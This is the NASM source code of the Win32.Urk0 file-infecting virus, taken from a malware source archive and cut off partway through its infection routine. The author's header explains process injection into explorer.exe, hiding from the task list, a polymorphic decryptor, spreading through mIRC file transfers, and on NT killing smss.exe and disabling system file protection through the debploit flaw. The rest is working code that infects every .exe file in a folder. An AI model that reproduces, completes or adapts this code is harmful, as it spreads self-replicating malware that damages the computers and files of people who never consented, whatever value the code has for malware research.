mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
3211 lines
82 KiB
NASM
3211 lines
82 KiB
NASM
|
||
;THIS IS A VIRUS SOURCE CODE.NOW,THIS FILE ITS NOT DANGER.IM NOT RESPONSABLE OF DAMAGES
|
||
;IN CASE YOU COMPILE AND LINK IT TO CREATE A EXECUTABLE.THIS CODE IS ONLY FOR ENTERTAIMENT
|
||
;AND EDUCATION.
|
||
;I KNOW THIS CODE COULD TO HAVE (AND IM 99% SURE IT HAS) BUGS. I CODED IT ONLY FOR
|
||
;FUN, I NO WANT THIS VIRUS INFECTED COMPUTERS UNLESS YOU DID IT FOR UR ELECTION SO
|
||
;IM NOT REALLY WORRIED COZ THIS VIRUS IS NOT DONE FOR CORRUPT A SYSTEM.
|
||
;
|
||
;win32.Urk0 (Lady Marian 3)
|
||
;This is a Win32 virus.
|
||
;
|
||
;Win9x:
|
||
;It uses a method that i havent seen in other viruses.Second part of virus(where it
|
||
;polymorphs decryptor,infects,...) is descrypted and copied directly to other process
|
||
;that previously it creates(ill try it was a process created from a random file but for
|
||
;now it do it with explorer.exe) suspended.Then it unprotect mem of primary module of
|
||
;process with VirtualProtectEx and overwrite process mem with its code since entrypoint
|
||
;of new process.Then we reanude thread of created process so virus is executed in other
|
||
;process.This can be made MAX_DEPTH times.Explorer creates other process and inject there
|
||
;its code,and again and again and again...for MAX_DEPTH times.
|
||
;I think this difficults emulation and debugging.In addition if a
|
||
;memory monitor detects a virus behaviour in memory it detects virus as other file
|
||
;(for now explorer.exe).
|
||
;Note virus never infects explorer.exe in disk,only in memory,so if virus is searched in
|
||
;explorer.exe it is not found.In addition when i create new process i pass
|
||
;CREATE_NEW_PROCESS_GROUP flag so new process is created without father...
|
||
;suppostly there isnt relation between creator process and new process.
|
||
;In addition when virus is executing in explorer.exe it calls to RegisterServiceProcess
|
||
;so user doesnt see two explorer.exe in task list.
|
||
;With this method we return the control to host fastly becoz slow part of virus is executed
|
||
;currently with host becoz it is executing in explorer.exe where we are injected our code.
|
||
;First part of virus is encrypted.Decryptor is polimorphed.Key is changed with each generation.
|
||
;Polymorphic engine its not very complex.It interchanges registers used and inserts
|
||
;trash instructions.Trash uses recursively itself so we can find trash in this manner:
|
||
;
|
||
;xor reg32a,imm32a___
|
||
;add reg32b,imm32b_ |
|
||
;cli | |
|
||
;clc | |
|
||
;sub reg32b,imm32b_| |
|
||
;cli |
|
||
;cpuid |
|
||
;... |
|
||
;xor reg32a,imm32a___|
|
||
;...
|
||
;
|
||
;I wanna do it better with a v2.0 of the virus :P
|
||
;Second part is encrypted with random key.Decryptor its not poly.However,virus doesnt
|
||
;modify its code directly becoz it,while is injecting code to explorer.exe,is
|
||
;unencrypting bytes before injecting.
|
||
;It uses EPO method too.Insert a jmp(and ill insert some antidebugging trickz too)
|
||
;in entrypoint of infected file(later it restores bytes overwrited).
|
||
;Apis are gotten by CRC.
|
||
;For infection it adds itself at end of last section.Increase size of file infected.
|
||
;It only infects .exe files.
|
||
;For now Urk0 doesnt have payload(i dont know if i ll add it :-m )
|
||
;In addition Urk0 has two manners of infection.It can infect files with explorer code
|
||
;encrypted or withouth encrypting.If it isnt encrypted it have per-process characteristics.
|
||
;It works in the same manner but in addition it hooks CreateFileA api.
|
||
;It always infects mirc.exe file with per-process characteristics becoz mirc.exe use
|
||
;CreateFileA to open files that it will send(with dcc) so ill infect files before sending
|
||
;and in this manner virus will arrive other computer ;)(With mirc.exe and others similar).
|
||
;If you read this code you will see i have spend a lot of bytes that i could have not
|
||
;spend it,becoz for now i have not optimizated the code.I must optimizate it and
|
||
;optmizate poly engine.
|
||
;Structure of code:
|
||
;
|
||
; --------------------------------------SVirus
|
||
; -----------------------SCode
|
||
; (Entry point 2)
|
||
; Code executed
|
||
; after injecting
|
||
; in explorer.exe
|
||
; Encrypted with random.
|
||
; Note if this part is
|
||
; not encrypted some code
|
||
; here can be executed
|
||
; before injecting to
|
||
; explorer for
|
||
; perprocess propose
|
||
; -----------------------ECode
|
||
; (Entry point 1)
|
||
; Decryptor of code since
|
||
; Encrypted to EVirus
|
||
; -----------------------Encrypted
|
||
; Here it creates process
|
||
; explorer.exe and injects
|
||
; code(unencrypting SCode
|
||
; to ECode at same time it
|
||
; write each dword) to
|
||
; explorer.exe since entry
|
||
; point of it.When it has
|
||
; injected the code it reanude
|
||
; explorer and infection part
|
||
; and others important parts
|
||
; are executed in explorer.exe
|
||
; process.
|
||
; Later it restore for EPO
|
||
; overwrited bytes and jmp
|
||
; to host
|
||
; --------------------------------------EVirus
|
||
;
|
||
;WinNT:
|
||
;In NT machines virus works in a manner very different.In Nt,virus will try to get a
|
||
;handle to winlogon.exe with full privileges,using a flaw in dbgss implemented in smss.exe
|
||
;(you can see debploit flaw in august archives,Nt focus,www.securiteam.com).Using this flaw
|
||
;we inject our code in winlogon.Note that with this flaw we have a problem,when we try to get
|
||
;a handle to winlogon with debploit method,winlogon will terminate when our program
|
||
;terminate too,becouse our program set as debugger of winlogon,and winlogon as debuggee,
|
||
;so if we attach winlogon,when we terminate,it will terminate too.For this reason,winlogon
|
||
;code will kill smss.exe.Ok,this is a dramatic solution,however i think system will work
|
||
;very well without smss.exe.Smss.exe loads winlogon.exe and user mode part of win32 ss
|
||
;in memory,and when system hangs,it takes control and show typical blue screen.In addition,
|
||
;it have implemented dbgss so if we kill it,a lot of debugger will not run(mmm...is this a
|
||
;problem??? ;).I was working a lot of time in my system with smss.exe terminated and i think
|
||
;my system worked perfectly(i wasnt be able to use debuggers...only softice).
|
||
;well,when winlogon code kills smss.exe,it disables sfp with ratter and benny method(29a
|
||
;number 6).Later it gets a handle to explorer and injects the code there.In explorer,
|
||
;virus will infect current folder of explorer.exe in intervals of 60 seconds.
|
||
;Note virus use ModuleBase + 28h for infection mark.At this offset there are 5 reserved dwords
|
||
;in dos header.I think to put infection mark in this field is a few lame :P ... i could
|
||
;to have put it in second field of time date stamp or with others methods but im not worry
|
||
;for infection mark.
|
||
;
|
||
;
|
||
;and that is all :)
|
||
;
|
||
;
|
||
;SORRY BECOZ MY ENGLISH LEVEL ITS VERY LOW SO I M SORRY IF YOU DONT UNDERSTAND SOME
|
||
;EXPRESSIONS THAT I USE BADLY.HOWEVER ILL TRY TO WRITE BETTER I CAN :)
|
||
;
|
||
;I MUST TO APOLOGIZE TOO COZ MY BADLY MANNER OF PROGRAMMING. MY CODE IS NOT OPTIMIZED
|
||
;FOR FAST AND NOT OPTIMIZED FOR SIZE :P . IN ADDITION THIS IS A CRAZY CODE :S
|
||
;REALLY,IF I HAD TO READ IT I WOULD BE VERY ANGRY WITH THE AUTHOR :P COZ PERHAPS THE CODE
|
||
;IS NOT VERY MUCH UNDERSTANDABLE. SORRY .
|
||
;
|
||
;
|
||
;THX TO:
|
||
;
|
||
;OF COURSE: <20> XEZAW ! My dear m3Nt0r - THX.exp 99 :) He shows with lot of pacience
|
||
;to this poor person (me) all i know. Ill never be able to pay u all u have done for me :)
|
||
;MsCorlib who always helps me too :) a half of this virus is your ;) You are other m3Nt0r
|
||
;for me. In addition u know all things that i ask u O_O u r a genius :)
|
||
;GriYo who always helps me too.Though not directly,you are a m3Nt0r for me too :) with
|
||
;your viruses.I love Dengue :),its a bible for me ;)
|
||
;Benny&Ratter,thx for that fantastic codes as Joss,ketamine,dob,all ratter's articles
|
||
;about windows, sfc disable :) and all all all ;) thx.
|
||
;My good friends VirusBust,ViR[-_-],isotope,Pato,Nightmare
|
||
;_HangMan_ & Oyzzo ;) my dear msdos lovers :D
|
||
;And all people in #asm,#win32asm,#win32,#ensamblador and #virus in irc hispano
|
||
;who helped me :)
|
||
;Well,i must put here a endless list of 'THX TO' becoz a lot of people have helped me,so
|
||
;ill only say thx all :*** and of course,if someone need me im here ;)
|
||
;And a infinitely 'THX TO' for LADY MARIAN: my Dark Angel,my Black Lotus,my Takhisys,
|
||
;my Queen Of Darkness,... :*******************************************************
|
||
;Who is Urko?
|
||
;Urko is a dog. Urko is one of my best friends. Urko is a fantastic dog becoz sometimes.....
|
||
;Urko SPEAKS! Urko is very timid and only speaks to me...and not always...urko only
|
||
;speaks when both,urko and me,we start to smoke that rare cigarretes that urko has. Then
|
||
;urko start to speak a lot of :) and we stay all night speaking,smoking and seeing films or
|
||
;playing trivial pursuit,or coding,or doing a lot of things :)
|
||
;Due this,i named this virus as win32.urk0 :)
|
||
|
||
.586p
|
||
.model flat,stdcall
|
||
|
||
extrn ExitProcess:proc
|
||
extrn GetLastError:proc
|
||
extrn GetTickCount:proc
|
||
extrn GetModuleHandleA:proc
|
||
extrn OpenProcess:proc
|
||
|
||
;macros
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
callz macro dir_call
|
||
db 0E8h
|
||
dd (dir_call - $ - 4)
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
jmpz macro dir_call
|
||
db 0E9h
|
||
dd (dir_call - $ -4)
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
CalcLenString macro
|
||
local loopin
|
||
push esi
|
||
dec esi
|
||
loopin:
|
||
inc esi
|
||
cmp byte ptr[esi],0
|
||
jne loopin
|
||
mov ecx,esi
|
||
pop esi
|
||
sub ecx,esi
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
GezApi macro BaseKernel,ApiCRC,ApiNameLen
|
||
mov eax,BaseKernel
|
||
mov edx,ApiCRC
|
||
mov ebx,ApiNameLen
|
||
callz GetApi
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
GezSyscall macro BaseNtdll,ApiCRC,ApiNameLen
|
||
GezApi BaseNtdll,ApiCRC,ApiNameLen
|
||
mov eax,[eax + 1]
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
syscallz macro fc,paramz ;from Ratter's win2k.Joss
|
||
mov eax,fc
|
||
lea edx,[esp]
|
||
int 2eh
|
||
add esp,(paramz*4)
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
Writez macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
|
||
push 0
|
||
mov [esp],esp ;for storing number of writted bytes
|
||
push Size
|
||
push Buffer
|
||
push OffsetInProc
|
||
push hProcess
|
||
GezApi BaseKernel,WriteMemoryProcessCRC,WMPNameLen
|
||
call eax
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
|
||
push 0
|
||
mov [esp],esp ;for storing number of read bytes
|
||
push Size
|
||
push Buffer
|
||
push OffsetInProc
|
||
push hProcess
|
||
GezApi BaseKernel,ReadMemoryProcessCRC,RMPNameLen
|
||
call eax
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
.data
|
||
|
||
;some datas for first generation
|
||
|
||
kernel32dll db 'kernel32.dll',0
|
||
auxi dd 0
|
||
az db 'Sleep',0
|
||
azz db 'ContinueDebugEvent',0
|
||
.code
|
||
start:
|
||
|
||
;vvvvvvvvvvvvvvvvvvvFIRST GENERATION CODE
|
||
jmpz jmpedSize
|
||
|
||
db '*Virus size'
|
||
virSize = EVirus - SVirus
|
||
db 0
|
||
dw virSize and 0FF00h
|
||
db virSize and 00FFh
|
||
db 0
|
||
|
||
jmpedSize:
|
||
|
||
;for getting apis crcs:
|
||
lea esi,az
|
||
CalcLenString
|
||
mov edi,ecx
|
||
call CRC32
|
||
lea esi,azz
|
||
CalcLenString
|
||
mov edi,ecx
|
||
call CRC32
|
||
|
||
;i unprotect code:
|
||
push offset kernel32dll
|
||
call GetModuleHandleA
|
||
push eax
|
||
mov esi,offset SVirus
|
||
mov ecx,EVirus - SVirus
|
||
xor ebx,ebx
|
||
callz UnprotectMem
|
||
pop eax
|
||
mov [kernel],eax
|
||
pushad
|
||
xor ebp,ebp
|
||
;ill test poly
|
||
callz Poly
|
||
mov eax,[CryptKey]
|
||
mov auxi,eax
|
||
popad
|
||
;I crypt necesary parts
|
||
call GetTickCount
|
||
or eax,0FFFF0000h
|
||
mov ecx,((ECode - SCode)/4)-1
|
||
inc ecx
|
||
Cryptit:
|
||
dec ecx
|
||
xor dword ptr [SCode + 4*ecx],eax
|
||
or ecx,ecx
|
||
jnz Cryptit
|
||
|
||
mov eax,auxi
|
||
|
||
callz DkRyPtIt_
|
||
DkRyPtIt_:
|
||
pop esi
|
||
add esi,Encrypted - DkRyPtIt_
|
||
mov ecx,((EVirus - Encrypted)/4)
|
||
GoGoGo_:
|
||
xor dword ptr [esi + ecx*4 - 4],eax
|
||
dec ecx
|
||
or ecx,ecx
|
||
jnz GoGoGo_
|
||
jmpz MyEntryPoint
|
||
|
||
;^^^^^^^^^^^^^^^^^^^FIRST GENERATION CODE
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
;vvvvvvvvvvvvvvvvvvvSECOND GENERATION
|
||
|
||
SVirus:
|
||
|
||
|
||
;APIS NAMES CRCS AND LENGHTS
|
||
|
||
LoadLibraryACRC equ 3fc1bd8dh
|
||
LLNameLen equ 12
|
||
CloseHandleCRC equ 0b09315f4h
|
||
CHNameLen equ 11
|
||
FindFirstFileACRC equ 0c9ebd5ceh
|
||
FFFNameLen equ 14
|
||
FindNextFileACRC equ 75272948h
|
||
FNFNameLen equ 13
|
||
FindCloseCRC equ 0d82bf69ah
|
||
FCNameLen equ 9
|
||
GetTickCountCRC equ 5b4219f8h
|
||
GTCNameLen equ 12
|
||
WriteMemoryProcessCRC equ 4f58972eh
|
||
WMPNameLen equ 18
|
||
ReadMemoryProcessCRC equ 0f7c7ae42h
|
||
RMPNameLen equ 17
|
||
ResumeThreadCRC equ 3872beb9h
|
||
RTNameLen equ 12
|
||
ExitProcessCRC equ 251097CCh
|
||
EPNameLen equ 11
|
||
SetFileAttributesACRC equ 156b9702h
|
||
SFANameLen equ 18
|
||
CreateFileACRC equ 553b5c78h
|
||
CFNameLen equ 11
|
||
CreateFileMappingACRC equ 0b41b926ch
|
||
CFMNameLen equ 18
|
||
MapViewOfFileCRC equ 0A89b382fh
|
||
MVFNameLen equ 13
|
||
UnmapViewOfFileCRC equ 391ab6afh
|
||
UVFNameLen equ 15
|
||
SetFileTimeCRC equ 21804a03h
|
||
SFTNameLen equ 11
|
||
GetModuleHandleACRC equ 0B1866570h
|
||
GMHNameLen equ 16
|
||
GetLastErrorCRC equ 0d2e536b7h
|
||
GLENameLen equ 12
|
||
RegisterServiceProcessCRC equ 3b5ef61fh
|
||
RSPNameLen equ 22
|
||
SetCurrentDirectoryACRC equ 69b6849fh
|
||
SCDNameLen equ 20
|
||
GetCurrentDirectoryACRC equ 0c79dc4e3h
|
||
GCDNameLen equ 20
|
||
GetWindowsDirectoryACRC equ 0fff372beh
|
||
GWDNameLen equ 20
|
||
GetModuleFileNameACRC equ 08bff7a0h
|
||
GMFNameLen equ 18
|
||
CreateProcessACRC equ 0a851d916h
|
||
CPNameLen equ 14
|
||
Module32FirstCRC equ 38891c00h
|
||
M32FNameLen equ 13
|
||
Module32NextCRC equ 0f6911852h
|
||
M32NNameLen equ 12
|
||
CreateToolhelp32SnapShotCRC equ 0c1f3b876h
|
||
CT32SNameLen equ 24
|
||
VirtualProtectExCRC equ 5d180413h
|
||
VPNameLen equ 16
|
||
GetCurrentProcessCRC equ 0d0861aa4h
|
||
GCPNameLen equ 17
|
||
OpenProcessTokenCRC equ 0f9c60615h
|
||
OPTNameLen equ 16
|
||
LookupPrivilegeValueACRC equ 0da87bf62h
|
||
LPVNameLen equ 21
|
||
AdjustTokenPrivilegesCRC equ 0de3e5cfh
|
||
ATPNameLen equ 21
|
||
EnumProcessesCRC equ 0509a21ch
|
||
EPSNameLen equ 13
|
||
EnumProcessModulesCRC equ 0dea82ac2h
|
||
EPMNameLen equ 18
|
||
GetModuleInformationCRC equ 0f2a84636h
|
||
GMINameLen equ 20
|
||
SuspendThreadCRC equ 0bd76ac31h
|
||
STNameLen equ 13
|
||
FreeLibraryCRC equ 0da68238fh
|
||
FLNameLen equ 11
|
||
GetVersionCRC equ 4ccf1a0fh
|
||
GVNameLen equ 10
|
||
RasDialACRC equ 0b88da156h
|
||
RDNameLen equ 8
|
||
GetModuleBaseNameACRC equ 1720513eh
|
||
GMBNNameLen equ 18
|
||
OpenProcessCRC equ 0df27514bh
|
||
OPNameLen equ 11
|
||
ZwConnectPortCRC equ 0cbaec255h
|
||
ZCPNameLen equ 13
|
||
NtConnectPortCRC equ 0c88edce9h
|
||
NCPNameLen equ 13
|
||
ZwRequestPortCRC equ 0e28aebd1h
|
||
ZRPNameLen equ 13
|
||
DbgUiConnectToDbgCRC equ 09a51ac3ah
|
||
DUCTDNameLen equ 17
|
||
DbgSsInitializeCRC equ 0d198b351h
|
||
DSINameLen equ 15
|
||
DbgSsHandleKmApiMsgCRC equ 2e9c4e99h
|
||
DSHKAMNameLen equ 19
|
||
GetCurrentProcessIdCRC equ 1db413e3h
|
||
GCPINameLen equ 19
|
||
GetCurrentThreadIdCRC equ 8df87e63h
|
||
GCTINameLen equ 18
|
||
WaitForDebugEventCRC equ 96ab83a1h
|
||
WFDENameLen equ 17
|
||
ContinueDebugEventCRC equ 0d8e77e49h
|
||
CDENameLen equ 18
|
||
VirtualAllocExCRC equ 0e62e824dh
|
||
VANameLen equ 14
|
||
CreateRemoteThreadCRC equ 0ff808c10h
|
||
CRTNameLen equ 18
|
||
NtTerminateProcessCRC equ 94fcb0c0h
|
||
NTPNameLen equ 18
|
||
ExitThreadCRC equ 80af62e1h
|
||
ETNameLen equ 10
|
||
GetCurrentDirectoryWCRC equ 334971b2h
|
||
GCDWNameLen equ 20
|
||
FindFirstFileWCRC equ 3d3f609fh
|
||
FFFWNameLen equ 14
|
||
SleepCRC equ 0CEF2EDA8h
|
||
SNameLen equ 5
|
||
|
||
|
||
|
||
Kernel32CRC equ 204c64e5h ;CRC of 'kernel32' string
|
||
|
||
|
||
ERROR_NO_MORE_FILES equ 18
|
||
PAGE_EXECUTE_READWRITE equ 40h
|
||
MEM_COMMIT equ 00001000h
|
||
MEM_RESERVE equ 00002000h
|
||
STARTUPINFOSIZE equ 68
|
||
PROCESSINFORMATIONSIZE equ 16
|
||
CREATE_SUSPENDED equ 4
|
||
DEBUG_PROCESS equ 1
|
||
CREATE_NEW_PROCESS_GROUP equ 200h
|
||
|
||
TH32CS_SNAPMODULE equ 8
|
||
SNAPSHOT equ 16
|
||
|
||
;config constants
|
||
MAX_DEPTH equ 1 ;min depth,for now
|
||
INFECTION_PROBABILITY equ 8 ;values 0 - 7...if value > 7 always infects.If 0 never.
|
||
PER_PROCESS_PROBABILITY equ 8 ;values 0 - 7...if value > 7 never infects with per-process
|
||
;characteristic.If 0 always with per-process.
|
||
WORK_IN_NT equ 1 ;if WORK_IN_NT == 1,virus works in NT and try to do
|
||
;some specifics things for NT.If 0,virus exits if NT.
|
||
|
||
|
||
SCode:
|
||
;when we infect in memory the explorer process injecting our code the execution begins here
|
||
|
||
;This code is encrypted with random key each 4 bytes
|
||
callz d_offsetz ;first byte is E8000000h when uncrypted
|
||
d_offsetz:
|
||
pop ebp
|
||
sub ebp,offset d_offsetz
|
||
pop eax
|
||
push eax
|
||
xor ax,ax
|
||
add eax,1000h
|
||
;eax -> a part of kernel32
|
||
SearchKernelz:
|
||
sub eax,1000h
|
||
cmp word ptr [eax],'ZM'
|
||
jne SearchKernelz
|
||
|
||
mov [ebp + kernel],eax
|
||
|
||
;we set our process as service process.
|
||
push eax
|
||
GezApi eax,RegisterServiceProcessCRC,RSPNameLen
|
||
push 1
|
||
push 0
|
||
call eax
|
||
pop eax
|
||
|
||
;we will setup a SEH frame and if a error occurs nobody know it :D
|
||
|
||
lea esi,[ebp + ExplorerEnd]
|
||
push esi
|
||
push dword ptr fs:[0]
|
||
mov fs:[0],esp ;we set the SEH frame
|
||
;note its not necessary our handler
|
||
;restore SEH becoz we will terminate
|
||
;the process
|
||
|
||
;we repeat the process of injection of code in explorer MAX_DEPTH times.When we have loaded
|
||
;and infected explorer at MAX_DEPTH time then it's executed file infection zone.
|
||
;I think it will be more difficult for avs with this trap.
|
||
|
||
cmp dword ptr [ebp + ExplorerDepth],MAX_DEPTH
|
||
je Explorer2
|
||
add dword ptr [ebp + ExplorerDepth],1
|
||
callz InjectToExplorer
|
||
GezApi eax,ExitProcessCRC,EPNameLen
|
||
push 0
|
||
call eax
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;This code is executed in the last explorer.exe what we have injected our code
|
||
|
||
Explorer2:
|
||
;eax = Base of Kernel
|
||
;ebp = d_offset
|
||
|
||
mov dword ptr [ebp + ExplorerDepth],0 ;this is the last explorer injection
|
||
|
||
;now ill infect all files .exe in Current folder
|
||
callz InfectCurrentFolder
|
||
|
||
ExplorerEnd:
|
||
callz DoffEnd
|
||
DoffEnd:
|
||
pop ebp
|
||
sub ebp,offset DoffEnd
|
||
mov eax,[ebp + kernel]
|
||
;eax = kernel base
|
||
GezApi eax,ExitProcessCRC,EPNameLen
|
||
push 0
|
||
;eax -> ExitProcess
|
||
call eax
|
||
;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
kernel dd 0
|
||
CryptKey dd 0
|
||
ExplorerDepth dd 0
|
||
|
||
|
||
FILETIME struct
|
||
FT_dwLowDateTime dd ?
|
||
FT_dwHighDateTime dd ?
|
||
FILETIME ends
|
||
WIN32_FIND_DATA:
|
||
WFD_dwFileAttributes dd ?
|
||
WFD_ftCreationTime FILETIME <?>
|
||
WFD_ftLastAccessTime FILETIME <?>
|
||
WFD_ftLastWriteTime FILETIME <?>
|
||
WFD_nFileSizeHigh dd ?
|
||
WFD_nFileSizeLow dd ?
|
||
WFD_dwReserved0 dd ?
|
||
WFD_dwReserved1 dd ?
|
||
WFD_szFileName db 260 dup (?)
|
||
WFD_szAlternateFileName db 16 dup (?)
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;InfectCurrentFolder infects files with mask in files variable in current folder
|
||
;in:
|
||
; none
|
||
;out:
|
||
; none
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
InfectCurrentFolder:
|
||
|
||
callz Poly ;we poly the decryptor overwriting code with new decryptor for
|
||
;the moment when we will infect a file
|
||
|
||
;here begins zone where we will infect files
|
||
;if all things are in order,current directory for memory-infected explorer
|
||
;is the same as file.exe that contains virus.
|
||
|
||
lea eax,[ebp + WIN32_FIND_DATA]
|
||
push eax
|
||
lea eax,[ebp + files]
|
||
push eax
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,FindFirstFileACRC,FFFNameLen
|
||
call eax
|
||
mov [ebp + SearchHand],eax
|
||
jmpz TestTypeOfInfection
|
||
|
||
MoreFiles: ;)
|
||
|
||
callz Poly ;poly again so each infected file will be different
|
||
lea eax,[ebp + WIN32_FIND_DATA]
|
||
push eax
|
||
push dword ptr [ebp + SearchHand]
|
||
mov eax,dword ptr [ebp + kernel]
|
||
GezApi eax,FindNextFileACRC,FNFNameLen
|
||
call eax
|
||
|
||
TestTypeOfInfection:
|
||
|
||
or eax,eax
|
||
je EndCurrentFolderInfection
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,GetTickCountCRC,GTCNameLen
|
||
call eax
|
||
and eax,7
|
||
cmp eax,INFECTION_PROBABILITY ;probability of infection.By default always.
|
||
jge MoreFiles
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,GetTickCountCRC,GTCNameLen
|
||
call eax
|
||
mov ecx,eax
|
||
mov ebx,eax
|
||
rol ebx,cl
|
||
and ebx,7
|
||
xor eax,eax
|
||
cmp ebx,PER_PROCESS_PROBABILITY ;probability of per-process.By default never.
|
||
jge WithPerProcess
|
||
inc eax
|
||
WithPerProcess:
|
||
push eax
|
||
callz TestFile
|
||
or eax,eax
|
||
jnz PerProcessOrNoInfect
|
||
pop eax
|
||
GoInfectIt:
|
||
callz InfectIt
|
||
jmpz MoreFiles
|
||
PerProcessOrNoInfect:
|
||
dec eax
|
||
or eax,eax
|
||
jz ForcePerProcess
|
||
;if no force perprocess and no normal,then -1 and no infect so more files
|
||
pop eax
|
||
jmpz MoreFiles
|
||
ForcePerProcess:
|
||
pop ebx
|
||
jmpz GoInfectIt
|
||
|
||
EndCurrentFolderInfection:
|
||
ret
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;
|
||
files db '*.exe',0
|
||
SearchHand dd 0
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;InfectIt uses WIN_FIND_DATA for infecting file which information is contained in that struc
|
||
;in:
|
||
; eax = 0 without encryption(but with perprocess enable) eax = 1 with encryption(but
|
||
; no enabled perprocess)
|
||
;out:
|
||
; none
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
InfectIt:
|
||
mov [ebp + Encryption],eax
|
||
pushad
|
||
callz MapFile
|
||
or eax,eax
|
||
jz EndInfection
|
||
mov eax,[ebp + WFD_nFileSizeLow]
|
||
add eax,EVirus - SVirus
|
||
mov [ebp + FileInfectedSize],eax
|
||
mov ebx,[ebp + ViewHandle]
|
||
cmp word ptr [ebx],'ZM'
|
||
jne CloseAndBye
|
||
cmp word ptr [ebx + 8],4h
|
||
jne CloseAndBye
|
||
mov edi,[ebx + 3ch]
|
||
add edi,ebx
|
||
cmp word ptr [edi],'EP'
|
||
jne CloseAndBye
|
||
cmp word ptr [ebx + 28h],'Zv';my infection mark
|
||
je CloseAndBye
|
||
mov ax,[edi + 16h]
|
||
test ax,2 ;yes IMAGE_FILE_EXECUTABLE_IMAGE
|
||
je CloseAndBye
|
||
test ax,1000h ;no IMAGE_FILE_SYSTEM
|
||
jne CloseAndBye
|
||
test ax,2000h ;no IMAGE_FILE_DLL
|
||
jne CloseAndBye
|
||
mov ax,[edi + 5ch]
|
||
test ax,1 ;no IMAGE_SUBSYSTEM_NATIVE
|
||
jne CloseAndBye
|
||
|
||
;we have a file executable in PE format and not infected by this virus so ill continue
|
||
;with infection.In addition is not a system file.
|
||
|
||
|
||
mov edi,dword ptr [edi + 3ch];file alingment
|
||
mov dword ptr [ebp + FileAlignment],edi
|
||
AlignSize:
|
||
mov eax,[ebp + FileInfectedSize]
|
||
xor edx,edx
|
||
div edi
|
||
inc eax
|
||
;we divide size/alignment and inc result for knowing the new number of blocks
|
||
;and next we multiplicate number of blocks x size of block
|
||
mul edi
|
||
mov [ebp + WFD_nFileSizeLow],eax ;for in next mapping will be mapped file size + space for vir
|
||
callz CloseAll
|
||
callz MapFile ;with size to allocate virus
|
||
or eax,eax
|
||
jz EndInfection
|
||
|
||
;now we have file mapped with enought space at end of file to append there our virus ;)
|
||
|
||
mov ebx,[ebp + ViewHandle]
|
||
mov word ptr [ebx + 28h],'Zv';infection mark
|
||
mov eax,[ebx + 3ch];lfanew
|
||
add ebx,eax;ebx -> PE
|
||
mov eax,[ebx + 28h]
|
||
mov [ebp + OldEntryPoint],eax
|
||
xor eax,eax
|
||
mov ax,[ebx + 6];number of sections
|
||
mov [ebp + Sections],eax
|
||
xor eax,eax
|
||
mov ax,word ptr [ebx + 14h]
|
||
add ebx,18h
|
||
add ebx,eax
|
||
mov ecx,[ebp + Sections]
|
||
dec ecx
|
||
mov [ebp + FirstSection],ebx
|
||
LastSection:
|
||
add ebx,28h
|
||
loop LastSection
|
||
;we have ebx -> last section
|
||
mov [ebx + 24h],0A0000020h ;section is executable,readable,writable and with code
|
||
mov eax,[ebx + 10h];size of raw data
|
||
add eax,[ebx + 0ch];add size + RVA of section.
|
||
add eax,MyEntryPoint - SVirus
|
||
;eax = New Entry Point
|
||
sub eax,dword ptr [ebp + OldEntryPoint]
|
||
sub eax,EPOCodeSize
|
||
mov [ebp + EPOrel32],eax
|
||
mov eax,[ebx + 10h];size of raw data
|
||
add eax,[ebx + 14h];add size + pointer to raw data of section.We are in the end of last section
|
||
;We must copy there our code ;)
|
||
mov [ebp + EndLastSection],eax
|
||
|
||
mov esi,ebx
|
||
|
||
;now we must alignment section
|
||
|
||
mov eax,[esi + 10h];size of raw
|
||
